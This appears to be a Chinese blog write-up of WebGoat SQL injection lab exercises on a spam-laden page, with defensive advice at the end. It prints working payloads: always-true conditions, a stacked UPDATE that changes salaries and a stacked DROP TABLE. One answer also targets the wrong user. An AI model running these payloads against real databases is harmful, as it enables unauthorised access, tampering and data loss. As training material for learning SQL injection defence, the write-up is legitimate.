当前位置: 首页 > news >正文

做相册网站站长之家是干什么的

做相册网站,站长之家是干什么的,商城开发分销系统,在哪个网站做兼职淘宝客服目录 引言 一、安装好JAVA 二、下载并运行WebGoat 三、注册并登录WebGoat 四、模拟攻击 1. 第九题 2. 第十题 3. 第十一题 4. 第十二题 5. 第十三题 五、思考体会 1. 举例说明SQL 注入攻击发生的原因。 2. 从信息的CIA 三要素(机密性、完整性、可用性&…

目录

引言

一、安装好JAVA

二、下载并运行WebGoat

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

2. 第十题

3. 第十一题

4. 第十二题

5. 第十三题

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

(2)完整性

(3)可用性

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

6. 怎样预防和避免SQL 注入攻击。


引言

熟悉WebGoat平台,在该平台上实现SQL注入攻击。

(1)下载webgoat-server-8.2.2.jar。

(2)搭建java环境。

(3)运行webgoat。

(4)实施SQL注入攻击。

一、安装好JAVA

二、下载并运行WebGoat

本文置顶免费下载,解压即可。

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

原SQL语句

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = ' " + lastName + " ' ";

填入如下:

SELECT * FROM user_data WHERE first_name = 'John' AND last_name =  'Smith'  or '1'='1' ;

成功查到所有用户的信息。

2. 第十题

原SQL语句

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

输入:

SQL语句变为:

SELECT * FROM user_data WHERE login_count = 1 AND userid = '1' or '1' = '1' ;

成功查到所有用户的信息。

3. 第十一题

原SQL语句:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

填入:

SQL语句变为:

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ' or'1'='1 ';

成功查到用户信息:

4. 第十二题

原SQL语句:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

填入:

Employee Name:小煊

Authentication TAN: '; update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith

(在一个查询语句中注入一个修改语句,从而破坏数据库中的数据,从而破坏了完整性。)

SQL语句变为:

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ';update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith    ' ;

成功查到并插入用户信息:

5. 第十三题

原SQL语句如下:

"SELECT * FROM user_data WHERE login_count ='"+variable+"'";

填入:

SQL语句变为:

SELECT * FROM user_data WHERE login_count ='  '; drop table access_log; --  ';

(通过--注释把后面的’注释掉,成功将数据库的资源删除)

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

假设有一个简单的用户登录功能,用户输入用户名和密码,然后将其传递给数据库执行查询以验证登录信息。

String username = request.getParameter("username");String password = request.getParameter("password");String SQL = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

在上述代码中,使用用户输入的数据直接拼接成SQL查询语句。然而,当用户在用户名或密码中输入恶意字符,就可能导致SQL注入攻击的发生。

例如,用户输入的密码为' OR '1'='1,那么最终构造的SQL查询语句为:

SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'

这个查询会返回所有用户,而不仅仅是匹配用户名和密码的用户,因为'1'='1'始终为真。这样,攻击者就可以绕过身份验证,并获得未授权的访问权限。

当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。 这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web 应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

机密性是指保证信息不被非授权访问,即 使非授权用户得到信息也无法知晓信息内容,因而不能使用。SQL注入攻击可能导致数据库中的敏感信息泄露,例如用户账号、密码、个人资料等。攻击者可以通过构造恶意的SQL语句,绕过正常的身份验证和授权机制,获取到未经授权的数据。

如通过拼接字符串,使得SQL语句中有条件永远为真,不需要判断其他条件

这样输入之后可以看到数据库里全部人的信息。

(2)完整性

完整性是指维护信息的一致性,即信息在生成、传输、存储和使用过程中不应该发生人为或非人为的非授权篡改。信息的完整性包括两个方面:

数据完整性:数据没有被(未授权)篡改或者损坏;

系统完整性:系统未被非法操纵,按既定的目标运行。

攻击者可以利用SQL注入对数据库中的数据进行篡改,包括插入虚假数据、修改现有数据甚至删除数据。这可能导致系统中存储的数据被损坏或篡改,影响业务流程的正常运作。

如上面写的第十二题,在SQL语句执行的时候更改了其他数据,破坏了数据完整性。

(3)可用性

可用性是指保障信息资源随时可提供服务的能力特性,即授权用户可根据需要可以随时访问所需信息。可用性是信息资源服务功能和性能可靠性的度量,涉及到物理、网络、系统、数据、应用和用户等多方面的因素,是对信息网络总体可靠性的要求。

SQL注入攻击还可能导致数据库系统的服务不可用,包括数据库服务器崩溃、拒绝服务等情况。攻击者可以通过发送恶意的SQL查询或指令,消耗数据库系统的资源,导致其无法正常响应合法用户的请求,从而影响系统的可用性。

如上面写的第十三题,通过--注释把后面的’注释掉,成功将数据库的资源删除。

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

SELECT * FROM user_data WHERE first_name = 'John' AND last_name =  ' Smith'  or '1'='1 ' ;

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ';update employees set salary = 100 where first_name = 'John' and last_name = 'Smith    ';

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

SELECT * FROM user_data WHERE login_count ='  '; drop table access_log; --  ';

6. 怎样预防和避免SQL 注入攻击。

(1)严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害;

(2)校验参数的数据格式是否合法(可以使用正则或特殊字符的判断),对进入数据库的特殊字符进行转义处理,或编码转换。

(3)预编译 SQL(Java 中使用 PreparedStatement对特殊符号进行转义处理),参数化查询方式,避免 SQL 拼接,发布前,利用工具进行 SQL 注入检测

http://www.khdw.cn/news/70436.html

相关文章:

  • 贺州做网站今日国际新闻大事
  • 南京网站建设案例国内设计公司前十名
  • 王爷家的小蛮妃seo基础知识考试
  • 网站后台建设用到哪些编程语言百度top风云榜
  • 做网站后要回源码有何用网络营销的特点有哪些
  • 做网站花费百度权重是什么意思
  • 长寿做网站的电话搜索引擎优化培训免费咨询
  • 晋城北京网站建设软文平台发布
  • 烟台做网站哪家好seo优化服务公司
  • 做分析图用的地图网站关键词点击价格查询
  • 周口建设路网站浏览器如何推广自己网站
  • 做网站的技术关键今日足球赛事推荐
  • 集团做网站优势品牌设计
  • 如何做网站主题成都黑帽seo
  • 网站开发与设计 需求分析seo营销网站
  • 接计设做的网站日本比分预测
  • 吉林网站建设seo jsbapp9
  • 临沂网站建设方案报价百度 营销怎么收费
  • 佛山网站建设改版seo排名优化培训价格
  • 做网站可能遇到的问题谷歌手机网页版入口
  • 百度seo点击排名优化网站优化北京seo
  • 北京鲜花的网站建设googleseo推广
  • 体育馆做网站公司广州疫情最新消息今天封城了
  • 镇江网站建设工程企业营销网站制作
  • 超炫酷的网站郑州网站建设外包
  • 网站建设项目采购合同网上推广怎么做
  • jsp做网站好不好新网站百度收录要几天
  • 网站建设sycmjz模板网站
  • 东莞疫情最新消息2022好看的seo网站
  • 陕西省教育类网站前置审批网络营销服务公司